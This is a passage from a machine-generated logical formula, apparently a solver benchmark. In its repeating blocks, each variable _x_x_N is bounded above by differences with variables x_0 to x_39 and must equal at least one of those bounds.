(-1.0 * _x_x_6)) == -14.0) || (((x_22 + (-1.0 * _x_x_6)) == -16.0) || (((x_20 + (-1.0 * _x_x_6)) == -17.0) || (((x_17 + (-1.0 * _x_x_6)) == -15.0) || (((x_16 + (-1.0 * _x_x_6)) == -12.0) || (((x_15 + (-1.0 * _x_x_6)) == -19.0) || (((x_12 + (-1.0 * _x_x_6)) == -4.0) || (((x_11 + (-1.0 * _x_x_6)) == -1.0) || (((x_7 + (-1.0 * _x_x_6)) == -9.0) || (((x_2 + (-1.0 * _x_x_6)) == -20.0) || ((x_5 + (-1.0 * _x_x_6)) == -19.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_7)) <= -17.0) && (((x_35 + (-1.0 * _x_x_7)) <= -13.0) && (((x_32 + (-1.0 * _x_x_7)) <= -15.0) && (((x_31 + (-1.0 * _x_x_7)) <= -20.0) && (((x_29 + (-1.0 * _x_x_7)) <= -5.0) && (((x_27 + (-1.0 * _x_x_7)) <= -16.0) && (((x_26 + (-1.0 * _x_x_7)) <= -12.0) && (((x_23 + (-1.0 * _x_x_7)) <= -20.0) && (((x_22 + (-1.0 * _x_x_7)) <= -3.0) && (((x_21 + (-1.0 * _x_x_7)) <= -10.0) && (((x_19 + (-1.0 * _x_x_7)) <= -4.0) && (((x_18 + (-1.0 * _x_x_7)) <= -11.0) && (((x_15 + (-1.0 * _x_x_7)) <= -7.0) && (((x_9 + (-1.0 * _x_x_7)) <= -12.0) && (((x_8 + (-1.0 * _x_x_7)) <= -12.0) && (((x_7 + (-1.0 * _x_x_7)) <= -7.0) && (((x_5 + (-1.0 * _x_x_7)) <= -6.0) && (((x_3 + (-1.0 * _x_x_7)) <= -19.0) && (((x_0 + (-1.0 * _x_x_7)) <= -5.0) && ((x_1 + (-1.0 * _x_x_7)) <= -4.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_7)) == -17.0) || (((x_35 + (-1.0 * _x_x_7)) == -13.0) || (((x_32 + (-1.0 * _x_x_7)) == -15.0) || (((x_31 + (-1.0 * _x_x_7)) == -20.0) || (((x_29 + (-1.0 * _x_x_7)) == -5.0) || (((x_27 + (-1.0 * _x_x_7)) == -16.0) || (((x_26 + (-1.0 * _x_x_7)) == -12.0) || (((x_23 + (-1.0 * _x_x_7)) == -20.0) || (((x_22 + (-1.0 * _x_x_7)) == -3.0) || (((x_21 + (-1.0 * _x_x_7)) == -10.0) || (((x_19 + (-1.0 * _x_x_7)) == -4.0) || (((x_18 + (-1.0 * _x_x_7)) == -11.0) || (((x_15 + (-1.0 * _x_x_7)) == -7.0) || (((x_9 + (-1.0 * _x_x_7)) == -12.0) || (((x_8 + (-1.0 * _x_x_7)) == -12.0) || (((x_7 + (-1.0 * _x_x_7)) == -7.0) || (((x_5 + (-1.0 * _x_x_7)) == -6.0) || (((x_3 + (-1.0 * _x_x_7)) == -19.0) || (((x_0 + (-1.0 * _x_x_7)) == -5.0) || ((x_1 + (-1.0 * _x_x_7)) == -4.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_8)) <= -6.0) && (((x_36 + (-1.0 * _x_x_8)) <= -12.0) && (((x_35 + (-1.0 * _x_x_8)) <= -3.0) && (((x_31 + (-1.0 * _x_x_8)) <= -20.0) && (((x_29 + (-1.0 * _x_x_8)) <= -17.0) && (((x_25 + (-1.0 * _x_x_8)) <= -14.0) && (((x_22 + (-1.0 * _x_x_8)) <= -20.0) && (((x_21 + (-1.0 * _x_x_8)) <= -15.0) && (((x_20 + (-1.0 * _x_x_8)) <= -9.0) && (((x_19 + (-1.0 * _x_x_8)) <= -3.0) && (((x_18 + (-1.0 * _x_x_8)) <= -10.0) && (((x_17 + (-1.0 * _x_x_8)) <= -13.0) && (((x_10 + (-1.0 * _x_x_8)) <= -2.0) && (((x_9 + (-1.0 * _x_x_8)) <= -14.0) && (((x_7 + (-1.0 * _x_x_8)) <= -7.0) && (((x_5 + (-1.0 * _x_x_8)) <= -8.0) && (((x_4 + (-1.0 * _x_x_8)) <= -12.0) && (((x_3 + (-1.0 * _x_x_8)) <= -9.0) && (((x_0 + (-1.0 * _x_x_8)) <= -4.0) && ((x_2 + (-1.0 * _x_x_8)) <= -3.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_8)) == -6.0) || (((x_36 + (-1.0 * _x_x_8)) == -12.0) || (((x_35 + (-1.0 * _x_x_8)) == -3.0) || (((x_31 + (-1.0 * _x_x_8)) == -20.0) || (((x_29 + (-1.0 * _x_x_8)) == -17.0) || (((x_25 + (-1.0 * _x_x_8)) == -14.0) || (((x_22 + (-1.0 * _x_x_8)) == -20.0) || (((x_21 + (-1.0 * _x_x_8)) == -15.0) || (((x_20 + (-1.0 * _x_x_8)) == -9.0) || (((x_19 + (-1.0 * _x_x_8)) == -3.0) || (((x_18 + (-1.0 * _x_x_8)) == -10.0) || (((x_17 + (-1.0 * _x_x_8)) == -13.0) || (((x_10 + (-1.0 * _x_x_8)) == -2.0) || (((x_9 + (-1.0 * _x_x_8)) == -14.0) || (((x_7 + (-1.0 * _x_x_8)) == -7.0) || (((x_5 + (-1.0 * _x_x_8)) == -8.0) || (((x_4 + (-1.0 * _x_x_8)) == -12.0) || (((x_3 + (-1.0 * _x_x_8)) == -9.0) || (((x_0 + (-1.0 * _x_x_8)) == -4.0) || ((x_2 + (-1.0 * _x_x_8)) == -3.0)))))))))))))))))))))) && ((((x_36 + (-1.0 * _x_x_9)) <= -11.0) && (((x_32 + (-1.0 * _x_x_9)) <= -20.0) && (((x_29 + (-1.0 * _x_x_9)) <= -4.0) && (((x_28 + (-1.0 * _x_x_9)) <= -17.0) && (((x_26 + (-1.0 * _x_x_9)) <= -19.0) && (((x_25 + (-1.0 * _x_x_9)) <= -6.0) && (((x_24 + (-1.0 * _x_x_9)) <= -1.0) && (((x_23 + (-1.0 * _x_x_9)) <= -1.0) && (((x_22 + (-1.0 * _x_x_9)) <= -15.0) && (((x_21 + (-1.0 * _x_x_9)) <= -14.0) && (((x_18 + (-1.0 * _x_x_9)) <= -2.0) && (((x_15 + (-1.0 * _x_x_9)) <= -14.0) && (((x_13 + (-1.0 * _x_x_9)) <= -16.0) && (((x_9 + (-1.0 * _x_x_9)) <= -14.0) && (((x_8 + (-1.0 * _x_x_9)) <= -20.0) && (((x_7 + (-1.0 * _x_x_9)) <= -14.0) && (((x_4 + (-1.0 * _x_x_9)) <= -3.0) && (((x_3 + (-1.0 * _x_x_9)) <= -17.0) && (((x_1 + (-1.0 * _x_x_9)) <= -6.0) && ((x_2 + (-1.0 * _x_x_9)) <= -18.0)))))))))))))))))))) && (((x_36 + (-1.0 * _x_x_9)) == -11.0) || (((x_32 + (-1.0 * _x_x_9)) == -20.0) || (((x_29 + (-1.0 * _x_x_9)) == -4.0) || (((x_28 + (-1.0 * _x_x_9)) == -17.0) || (((x_26 + (-1.0 * _x_x_9)) == -19.0) || (((x_25 + (-1.0 * _x_x_9)) == -6.0) || (((x_24 + (-1.0 * _x_x_9)) == -1.0) || (((x_23 + (-1.0 * _x_x_9)) == -1.0) || (((x_22 + (-1.0 * _x_x_9)) == -15.0) || (((x_21 + (-1.0 * _x_x_9)) == -14.0) || (((x_18 + (-1.0 * _x_x_9)) == -2.0) || (((x_15 + (-1.0 * _x_x_9)) == -14.0) || (((x_13 + (-1.0 * _x_x_9)) == -16.0) || (((x_9 + (-1.0 * _x_x_9)) == -14.0) || (((x_8 + (-1.0 * _x_x_9)) == -20.0) || (((x_7 + (-1.0 * _x_x_9)) == -14.0) || (((x_4 + (-1.0 * _x_x_9)) == -3.0) || (((x_3 + (-1.0 * _x_x_9)) == -17.0) || (((x_1 + (-1.0 * _x_x_9)) == -6.0) || ((x_2 + (-1.0 * _x_x_9)) == -18.0)))))))))))))))))))))) && ((((x_36 + (-1.0 * _x_x_10)) <= -7.0) && (((x_34 + (-1.0 * _x_x_10)) <= -10.0) && (((x_33 + (-1.0 * _x_x_10)) <= -4.0) && (((x_31 + (-1.0 * _x_x_10)) <= -10.0) && (((x_30 + (-1.0 * _x_x_10)) <= -12.0) && (((x_29 + (-1.0 * _x_x_10)) <= -2.0) && (((x_26 + (-1.0 * _x_x_10)) <= -4.0) && (((x_24 + (-1.0 * _x_x_10)) <= -16.0) && (((x_23 + (-1.0 * _x_x_10)) <= -3.0) && (((x_20 + (-1.0 * _x_x_10)) <= -10.0) && (((x_17 + (-1.0 * _x_x_10)) <= -6.0) && (((x_16 + (-1.0 * _x_x_10)) <= -14.0) && (((x_15 + (-1.0 * _x_x_10)) <= -7.0) && (((x_13 + (-1.0 * _x_x_10)) <= -17.0) && (((x_12 + (-1.0 * _x_x_10)) <= -11.0) && (((x_11 + (-1.0 * _x_x_10)) <= -9.0) && (((x_8 + (-1.0 * _x_x_10)) <= -10.0) && (((x_5 + (-1.0 * _x_x_10)) <= -18.0) && (((x_2 + (-1.0 * _x_x_10)) <= -20.0) && ((x_3 + (-1.0 * _x_x_10)) <= -4.0)))))))))))))))))))) && (((x_36 + (-1.0 * _x_x_10)) == -7.0) || (((x_34 + (-1.0 * _x_x_10)) == -10.0) || (((x_33 + (-1.0 * _x_x_10)) == -4.0) || (((x_31 + (-1.0 * _x_x_10)) == -10.0) || (((x_30 + (-1.0 * _x_x_10)) == -12.0) || (((x_29 + (-1.0 * _x_x_10)) == -2.0) || (((x_26 + (-1.0 * _x_x_10)) == -4.0) || (((x_24 + (-1.0 * _x_x_10)) == -16.0) || (((x_23 + (-1.0 * _x_x_10)) == -3.0) || (((x_20 + (-1.0 * _x_x_10)) == -10.0) || (((x_17 + (-1.0 * _x_x_10)) == -6.0) || (((x_16 + (-1.0 * _x_x_10)) == -14.0) || (((x_15 + (-1.0 * _x_x_10)) == -7.0) || (((x_13 + (-1.0 * _x_x_10)) == -17.0) || (((x_12 + (-1.0 * _x_x_10)) == -11.0) || (((x_11 + (-1.0 * _x_x_10)) == -9.0) || (((x_8 + (-1.0 * _x_x_10)) == -10.0) || (((x_5 + (-1.0 * _x_x_10)) == -18.0) || (((x_2 + (-1.0 * _x_x_10)) == -20.0) || ((x_3 + (-1.0 * _x_x_10)) == -4.0)))))))))))))))))))))) && ((((x_38 + (-1.0 * _x_x_11)) <= -16.0) && (((x_37 + (-1.0 * _x_x_11)) <= -19.0) && (((x_36 + (-1.0 * _x_x_11)) <= -15.0) && (((x_35 + (-1.0 * _x_x_11)) <= -9.0) && (((x_34 + (-1.0 * _x_x_11)) <= -4.0) && (((x_33 + (-1.0 * _x_x_11)) <= -3.0) && (((x_32 + (-1.0 * _x_x_11)) <= -1.0) && (((x_28 + (-1.0 * _x_x_11)) <= -12.0) && (((x_25 + (-1.0 * _x_x_11)) <= -1.0) && (((x_24 + (-1.0 * _x_x_11)) <= -2.0) && (((x_21 + (-1.0 * _x_x_11)) <= -5.0) && (((x_20 + (-1.0 * _x_x_11)) <= -9.0) && (((x_19 + (-1.0 * _x_x_11)) <= -10.0) && (((x_15 + (-1.0 * _x_x_11)) <= -16.0) && (((x_14 + (-1.0 * _x_x_11)) <= -17.0) && (((x_12 + (-1.0 * _x_x_11)) <= -12.0) && (((x_8 + (-1.0 * _x_x_11)) <= -19.0) && (((x_7 + (-1.0 * _x_x_11)) <= -5.0) && (((x_3 + (-1.0 * _x_x_11)) <= -12.0) && ((x_6 + (-1.0 * _x_x_11)) <= -3.0)))))))))))))))))))) && (((x_38 + (-1.0 * _x_x_11)) == -16.0) || (((x_37 + (-1.0 * _x_x_11)) == -19.0) || (((x_36 + (-1.0 * _x_x_11)) == -15.0) || (((x_35 + (-1.0 * _x_x_11)) == -9.0) || (((x_34 + (-1.0 * _x_x_11)) == -4.0) || (((x_33 + (-1.0 * _x_x_11)) == -3.0) || (((x_32 + (-1.0 * _x_x_11)) == -1.0) || (((x_28 + (-1.0 * _x_x_11)) == -12.0) || (((x_25 + (-1.0 * _x_x_11)) == -1.0) || (((x_24 + (-1.0 * _x_x_11)) == -2.0) || (((x_21 + (-1.0 * _x_x_11)) == -5.0) || (((x_20 + (-1.0 * _x_x_11)) == -9.0) || (((x_19 + (-1.0 * _x_x_11)) == -10.0) || (((x_15 + (-1.0 * _x_x_11)) == -16.0) || (((x_14 + (-1.0 * _x_x_11)) == -17.0) || (((x_12 + (-1.0 * _x_x_11)) == -12.0) || (((x_8 + (-1.0 * _x_x_11)) == -19.0) || (((x_7 + (-1.0 * _x_x_11)) == -5.0) || (((x_3 + (-1.0 * _x_x_11)) == -12.0) || ((x_6 + (-1.0 * _x_x_11)) == -3.0)))))))))))))))))))))) && ((((x_37 + (-1.0 * _x_x_12)) <= -12.0) && (((x_32 + (-1.0 * _x_x_12)) <= -14.0) && (((x_31 + (-1.0 * _x_x_12)) <= -1.0) && (((x_30 + (-1.0 * _x_x_12)) <= -9.0) && (((x_29 + (-1.0 * _x_x_12)) <= -1.0) && (((x_26 + (-1.0 * _x_x_12)) <= -13.0) && (((x_24 + (-1.0 * _x_x_12)) <= -16.0) && (((x_23 + (-1.0 * _x_x_12)) <= -13.0) && (((x_20 + (-1.0 * _x_x_12)) <= -13.0) && (((x_19 + (-1.0 * _x_x_12)) <= -2.0) && (((x_18 + (-1.0 * _x_x_12)) <= -4.0) && (((x_15 + (-1.0 * _x_x_12)) <= -17.0) && (((x_12 + (-1.0 * _x_x_12)) <= -14.0) && (((x_8 + (-1.0 * _x_x_12)) <= -17.0) && (((x_7 + (-1.0 * _x_x_12)) <= -14.0) && (((x_6 + (-1.0 * _x_x_12)) <= -3.0) && (((x_4 + (-1.0 * _x_x_12)) <= -5.0) && (((x_3 + (-1.0 * _x_x_12)) <= -1.0) && (((x_1 + (-1.0 * _x_x_12)) <= -8.0) && ((x_2 + (-1.0 * _x_x_12)) <= -11.0)))))))))))))))))))) && (((x_37 + (-1.0 * _x_x_12)) == -12.0) || (((x_32 + (-1.0 * _x_x_12)) == -14.0) || (((x_31 + (-1.0 * _x_x_12)) == -1.0) || (((x_30 + (-1.0 * _x_x_12)) == -9.0) || (((x_29 + (-1.0 * _x_x_12)) == -1.0) || (((x_26 + (-1.0 * _x_x_12)) == -13.0) || (((x_24 + (-1.0 * _x_x_12)) == -16.0) || (((x_23 + (-1.0 * _x_x_12)) == -13.0) || (((x_20 + (-1.0 * _x_x_12)) == -13.0) || (((x_19 + (-1.0 * _x_x_12)) == -2.0) || (((x_18 + (-1.0 * _x_x_12)) == -4.0) || (((x_15 + (-1.0 * _x_x_12)) == -17.0) || (((x_12 + (-1.0 * _x_x_12)) == -14.0) || (((x_8 + (-1.0 * _x_x_12)) == -17.0) || (((x_7 + (-1.0 * _x_x_12)) == -14.0) || (((x_6 + (-1.0 * _x_x_12)) == -3.0) || (((x_4 + (-1.0 * _x_x_12)) == -5.0) || (((x_3 + (-1.0 * _x_x_12)) == -1.0) || (((x_1 + (-1.0 * _x_x_12)) == -8.0) || ((x_2 + (-1.0 * _x_x_12)) == -11.0)))))))))))))))))))))) && ((((x_38 + (-1.0 * _x_x_13)) <= -16.0) && (((x_37 + (-1.0 * _x_x_13)) <= -10.0) && (((x_36 + (-1.0 * _x_x_13)) <= -16.0) && (((x_35 + (-1.0 * _x_x_13)) <= -3.0) && (((x_34 + (-1.0 * _x_x_13)) <= -4.0) && (((x_31 + (-1.0 * _x_x_13)) <= -19.0) && (((x_30 + (-1.0 * _x_x_13)) <= -14.0) && (((x_29 + (-1.0 * _x_x_13)) <= -10.0) && (((x_27 + (-1.0 * _x_x_13)) <= -12.0) && (((x_25 + (-1.0 * _x_x_13)) <= -11.0) && (((x_23 + (-1.0 * _x_x_13)) <= -4.0) && (((x_22 + (-1.0 * _x_x_13)) <= -9.0) && (((x_19 + (-1.0 * _x_x_13)) <= -6.0) && (((x_15 + (-1.0 * _x_x_13)) <= -10.0) && (((x_13 + (-1.0 * _x_x_13)) <= -1.0) && (((x_8 + (-1.0 * _x_x_13)) <= -20.0) && (((x_7 + (-1.0 * _x_x_13)) <= -6.0) && (((x_6 + (-1.0 * _x_x_13)) <= -11.0) && (((x_3 + (-1.0 * _x_x_13)) <= -11.0) && ((x_4 + (-1.0 * _x_x_13)) <= -1.0)))))))))))))))))))) && (((x_38 + (-1.0 * _x_x_13)) == -16.0) || (((x_37 + (-1.0 * _x_x_13)) == -10.0) || (((x_36 + (-1.0 * _x_x_13)) == -16.0) || (((x_35 + (-1.0 * _x_x_13)) == -3.0) || (((x_34 + (-1.0 * _x_x_13)) == -4.0) || (((x_31 + (-1.0 * _x_x_13)) == -19.0) || (((x_30 + (-1.0 * _x_x_13)) == -14.0) || (((x_29 + (-1.0 * _x_x_13)) == -10.0) || (((x_27 + (-1.0 * _x_x_13)) == -12.0) || (((x_25 + (-1.0 * _x_x_13)) == -11.0) || (((x_23 + (-1.0 * _x_x_13)) == -4.0) || (((x_22 + (-1.0 * _x_x_13)) == -9.0) || (((x_19 + (-1.0 * _x_x_13)) == -6.0) || (((x_15 + (-1.0 * _x_x_13)) == -10.0) || (((x_13 + (-1.0 * _x_x_13)) == -1.0) || (((x_8 + (-1.0 * _x_x_13)) == -20.0) || (((x_7 + (-1.0 * _x_x_13)) == -6.0) || (((x_6 + (-1.0 * _x_x_13)) == -11.0) || (((x_3 + (-1.0 * _x_x_13)) == -11.0) || ((x_4 + (-1.0 * _x_x_13)) == -1.0)))))))))))))))))))))) && ((((x_38 + (-1.0 * _x_x_14)) <= -6.0) && (((x_37 + (-1.0 * _x_x_14)) <= -19.0) && (((x_34 + (-1.0 * _x_x_14)) <= -9.0) && (((x_32 + (-1.0 * _x_x_14)) <= -12.0) && (((x_31 + (-1.0 * _x_x_14)) <= -3.0) && (((x_30 + (-1.0 * _x_x_14)) <= -20.0) && (((x_28 + (-1.0 * _x_x_14)) <= -7.0) && (((x_26 + (-1.0 * _x_x_14)) <= -17.0) && (((x_22 + (-1.0 * _x_x_14)) <= -12.0) && (((x_20 + (-1.0 * _x_x_14)) <= -7.0) && (((x_18 + (-1.0 * _x_x_14)) <= -9.0) && (((x_14 + (-1.0 * _x_x_14)) <= -2.0) && (((x_13 + (-1.0 * _x_x_14)) <= -7.0) && (((x_12 + (-1.0 * _x_x_14)) <= -5.0) && (((x_11 + (-1.0 * _x_x_14)) <= -3.0) && (((x_9 + (-1.0 * _x_x_14)) <= -15.0) && (((x_7 + (-1.0 * _x_x_14)) <= -9.0) && (((x_6 + (-1.0 * _x_x_14)) <= -12.0) && (((x_3 + (-1.0 * _x_x_14)) <= -8.0) && ((x_5 + (-1.0 * _x_x_14)) <= -1.0)))))))))))))))))))) && (((x_38 + (-1.0 * _x_x_14)) == -6.0) || (((x_37 + (-1.0 * _x_x_14)) == -19.0) || (((x_34 + (-1.0 * _x_x_14)) == -9.0) || (((x_32 + (-1.0 * _x_x_14)) == -12.0) || (((x_31 + (-1.0 * _x_x_14)) == -3.0) || (((x_30 + (-1.0 * _x_x_14)) == -20.0) || (((x_28 + (-1.0 * _x_x_14)) == -7.0) || (((x_26 + (-1.0 * _x_x_14)) == -17.0) || (((x_22 + (-1.0 * _x_x_14)) == -12.0) || (((x_20 + (-1.0 * _x_x_14)) == -7.0) || (((x_18 + (-1.0 * _x_x_14)) == -9.0) || (((x_14 + (-1.0 * _x_x_14)) == -2.0) || (((x_13 + (-1.0 * _x_x_14)) == -7.0) || (((x_12 + (-1.0 * _x_x_14)) == -5.0) || (((x_11 + (-1.0 * _x_x_14)) == -3.0) || (((x_9 + (-1.0 * _x_x_14)) == -15.0) || (((x_7 + (-1.0 * _x_x_14)) == -9.0) || (((x_6 + (-1.0 * _x_x_14)) == -12.0) || (((x_3 + (-1.0 * _x_x_14)) == -8.0) || ((x_5 + (-1.0 * _x_x_14)) == -1.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_15)) <= -11.0) && (((x_38 + (-1.0 * _x_x_15)) <= -2.0) && (((x_37 + (-1.0 * _x_x_15)) <= -9.0) && (((x_33 + (-1.0 * _x_x_15)) <= -15.0) && (((x_32 + (-1.0 * _x_x_15)) <= -19.0) && (((x_30 + (-1.0 * _x_x_15)) <= -9.0) && (((x_29 + (-1.0 * _x_x_15)) <= -2.0) && (((x_27 + (-1.0 * _x_x_15)) <= -7.0) && (((x_23 + (-1.0 * _x_x_15)) <= -10.0) && (((x_20 + (-1.0 * _x_x_15)) <= -9.0) && (((x_19 + (-1.0 * _x_x_15)) <= -19.0) && (((x_18 + (-1.0 * _x_x_15)) <= -1.0) && (((x_17 + (-1.0 * _x_x_15)) <= -15.0) && (((x_15 + (-1.0 * _x_x_15)) <= -14.0) && (((x_14 + (-1.0 * _x_x_15)) <= -3.0) && (((x_13 + (-1.0 * _x_x_15)) <= -7.0) && (((x_9 + (-1.0 * _x_x_15)) <= -8.0) && (((x_4 + (-1.0 * _x_x_15)) <= -7.0) && (((x_1 + (-1.0 * _x_x_15)) <= -2.0) && ((x_3 + (-1.0 * _x_x_15)) <= -7.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_15)) == -11.0) || (((x_38 + (-1.0 * _x_x_15)) == -2.0) || (((x_37 + (-1.0 * _x_x_15)) == -9.0) || (((x_33 + (-1.0 * _x_x_15)) == -15.0) || (((x_32 + (-1.0 * _x_x_15)) == -19.0) || (((x_30 + (-1.0 * _x_x_15)) == -9.0) || (((x_29 + (-1.0 * _x_x_15)) == -2.0) || (((x_27 + (-1.0 * _x_x_15)) == -7.0) || (((x_23 + (-1.0 * _x_x_15)) == -10.0) || (((x_20 + (-1.0 * _x_x_15)) == -9.0) || (((x_19 + (-1.0 * _x_x_15)) == -19.0) || (((x_18 + (-1.0 * _x_x_15)) == -1.0) || (((x_17 + (-1.0 * _x_x_15)) == -15.0) || (((x_15 + (-1.0 * _x_x_15)) == -14.0) || (((x_14 + (-1.0 * _x_x_15)) == -3.0) || (((x_13 + (-1.0 * _x_x_15)) == -7.0) || (((x_9 + (-1.0 * _x_x_15)) == -8.0) || (((x_4 + (-1.0 * _x_x_15)) == -7.0) || (((x_1 + (-1.0 * _x_x_15)) == -2.0) || ((x_3 + (-1.0 * _x_x_15)) == -7.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_16)) <= -20.0) && (((x_38 + (-1.0 * _x_x_16)) <= -18.0) && (((x_34 + (-1.0 * _x_x_16)) <= -13.0) && (((x_33 + (-1.0 * _x_x_16)) <= -20.0) && (((x_31 + (-1.0 * _x_x_16)) <= -18.0) && (((x_27 + (-1.0 * _x_x_16)) <= -5.0) && (((x_21 + (-1.0 * _x_x_16)) <= -4.0) && (((x_20 + (-1.0 * _x_x_16)) <= -13.0) && (((x_16 + (-1.0 * _x_x_16)) <= -19.0) && (((x_15 + (-1.0 * _x_x_16)) <= -4.0) && (((x_14 + (-1.0 * _x_x_16)) <= -6.0) && (((x_13 + (-1.0 * _x_x_16)) <= -7.0) && (((x_11 + (-1.0 * _x_x_16)) <= -5.0) && (((x_10 + (-1.0 * _x_x_16)) <= -17.0) && (((x_6 + (-1.0 * _x_x_16)) <= -20.0) && (((x_5 + (-1.0 * _x_x_16)) <= -16.0) && (((x_4 + (-1.0 * _x_x_16)) <= -10.0) && (((x_3 + (-1.0 * _x_x_16)) <= -14.0) && (((x_0 + (-1.0 * _x_x_16)) <= -13.0) && ((x_1 + (-1.0 * _x_x_16)) <= -6.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_16)) == -20.0) || (((x_38 + (-1.0 * _x_x_16)) == -18.0) || (((x_34 + (-1.0 * _x_x_16)) == -13.0) || (((x_33 + (-1.0 * _x_x_16)) == -20.0) || (((x_31 + (-1.0 * _x_x_16)) == -18.0) || (((x_27 + (-1.0 * _x_x_16)) == -5.0) || (((x_21 + (-1.0 * _x_x_16)) == -4.0) || (((x_20 + (-1.0 * _x_x_16)) == -13.0) || (((x_16 + (-1.0 * _x_x_16)) == -19.0) || (((x_15 + (-1.0 * _x_x_16)) == -4.0) || (((x_14 + (-1.0 * _x_x_16)) == -6.0) || (((x_13 + (-1.0 * _x_x_16)) == -7.0) || (((x_11 + (-1.0 * _x_x_16)) == -5.0) || (((x_10 + (-1.0 * _x_x_16)) == -17.0) || (((x_6 + (-1.0 * _x_x_16)) == -20.0) || (((x_5 + (-1.0 * _x_x_16)) == -16.0) || (((x_4 + (-1.0 * _x_x_16)) == -10.0) || (((x_3 + (-1.0 * _x_x_16)) == -14.0) || (((x_0 + (-1.0 * _x_x_16)) == -13.0) || ((x_1 + (-1.0 * _x_x_16)) == -6.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_17)) <= -2.0) && (((x_38 + (-1.0 * _x_x_17)) <= -3.0) && (((x_35 + (-1.0 * _x_x_17)) <= -6.0) && (((x_34 + (-1.0 * _x_x_17)) <= -17.0) && (((x_31 + (-1.0 * _x_x_17)) <= -9.0) && (((x_30 + (-1.0 * _x_x_17)) <= -8.0) && (((x_29 + (-1.0 * _x_x_17)) <= -15.0) && (((x_28 + (-1.0 * _x_x_17)) <= -16.0) && (((x_25 + (-1.0 * _x_x_17)) <= -1.0) && (((x_24 + (-1.0 * _x_x_17)) <= -1.0) && (((x_23 + (-1.0 * _x_x_17)) <= -2.0) && (((x_19 + (-1.0 * _x_x_17)) <= -18.0) && (((x_17 + (-1.0 * _x_x_17)) <= -12.0) && (((x_15 + (-1.0 * _x_x_17)) <= -4.0) && (((x_11 + (-1.0 * _x_x_17)) <= -2.0) && (((x_8 + (-1.0 * _x_x_17)) <= -19.0) && (((x_7 + (-1.0 * _x_x_17)) <= -18.0) && (((x_5 + (-1.0 * _x_x_17)) <= -20.0) && (((x_2 + (-1.0 * _x_x_17)) <= -14.0) && ((x_3 + (-1.0 * _x_x_17)) <= -13.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_17)) == -2.0) || (((x_38 + (-1.0 * _x_x_17)) == -3.0) || (((x_35 + (-1.0 * _x_x_17)) == -6.0) || (((x_34 + (-1.0 * _x_x_17)) == -17.0) || (((x_31 + (-1.0 * _x_x_17)) == -9.0) || (((x_30 + (-1.0 * _x_x_17)) == -8.0) || (((x_29 + (-1.0 * _x_x_17)) == -15.0) || (((x_28 + (-1.0 * _x_x_17)) == -16.0) || (((x_25 + (-1.0 * _x_x_17)) == -1.0) || (((x_24 + (-1.0 * _x_x_17)) == -1.0) || (((x_23 + (-1.0 * _x_x_17)) == -2.0) || (((x_19 + (-1.0 * _x_x_17)) == -18.0) || (((x_17 + (-1.0 * _x_x_17)) == -12.0) || (((x_15 + (-1.0 * _x_x_17)) == -4.0) || (((x_11 + (-1.0 * _x_x_17)) == -2.0) || (((x_8 + (-1.0 * _x_x_17)) == -19.0) || (((x_7 + (-1.0 * _x_x_17)) == -18.0) || (((x_5 + (-1.0 * _x_x_17)) == -20.0) || (((x_2 + (-1.0 * _x_x_17)) == -14.0) || ((x_3 + (-1.0 * _x_x_17)) == -13.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_18)) <= -20.0) && (((x_38 + (-1.0 * _x_x_18)) <= -18.0) && (((x_37 + (-1.0 * _x_x_18)) <= -3.0) && (((x_35 + (-1.0 * _x_x_18)) <= -13.0) && (((x_30 + (-1.0 * _x_x_18)) <= -18.0) && (((x_29 + (-1.0 * _x_x_18)) <= -14.0) && (((x_28 + (-1.0 * _x_x_18)) <= -18.0) && (((x_27 + (-1.0 * _x_x_18)) <= -9.0) && (((x_26 + (-1.0 * _x_x_18)) <= -9.0) && (((x_23 + (-1.0 * _x_x_18)) <= -12.0) && (((x_22 + (-1.0 * _x_x_18)) <= -14.0) && (((x_21 + (-1.0 * _x_x_18)) <= -6.0) && (((x_17 + (-1.0 * _x_x_18)) <= -12.0) && (((x_16 + (-1.0 * _x_x_18)) <= -6.0) && (((x_15 + (-1.0 * _x_x_18)) <= -14.0) && (((x_13 + (-1.0 * _x_x_18)) <= -13.0) && (((x_10 + (-1.0 * _x_x_18)) <= -8.0) && (((x_8 + (-1.0 * _x_x_18)) <= -6.0) && (((x_4 + (-1.0 * _x_x_18)) <= -14.0) && ((x_6 + (-1.0 * _x_x_18)) <= -2.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_18)) == -20.0) || (((x_38 + (-1.0 * _x_x_18)) == -18.0) || (((x_37 + (-1.0 * _x_x_18)) == -3.0) || (((x_35 + (-1.0 * _x_x_18)) == -13.0) || (((x_30 + (-1.0 * _x_x_18)) == -18.0) || (((x_29 + (-1.0 * _x_x_18)) == -14.0) || (((x_28 + (-1.0 * _x_x_18)) == -18.0) || (((x_27 + (-1.0 * _x_x_18)) == -9.0) || (((x_26 + (-1.0 * _x_x_18)) == -9.0) || (((x_23 + (-1.0 * _x_x_18)) == -12.0) || (((x_22 + (-1.0 * _x_x_18)) == -14.0) || (((x_21 + (-1.0 * _x_x_18)) == -6.0) || (((x_17 + (-1.0 * _x_x_18)) == -12.0) || (((x_16 + (-1.0 * _x_x_18)) == -6.0) || (((x_15 + (-1.0 * _x_x_18)) == -14.0) || (((x_13 + (-1.0 * _x_x_18)) == -13.0) || (((x_10 + (-1.0 * _x_x_18)) == -8.0) || (((x_8 + (-1.0 * _x_x_18)) == -6.0) || (((x_4 + (-1.0 * _x_x_18)) == -14.0) || ((x_6 + (-1.0 * _x_x_18)) == -2.0)))))))))))))))))))))) && ((((x_36 + (-1.0 * _x_x_19)) <= -17.0) && (((x_35 + (-1.0 * _x_x_19)) <= -19.0) && (((x_31 + (-1.0 * _x_x_19)) <= -1.0) && (((x_30 + (-1.0 * _x_x_19)) <= -20.0) && (((x_23 + (-1.0 * _x_x_19)) <= -11.0) && (((x_22 + (-1.0 * _x_x_19)) <= -11.0) && (((x_21 + (-1.0 * _x_x_19)) <= -7.0) && (((x_20 + (-1.0 * _x_x_19)) <= -9.0) && (((x_19 + 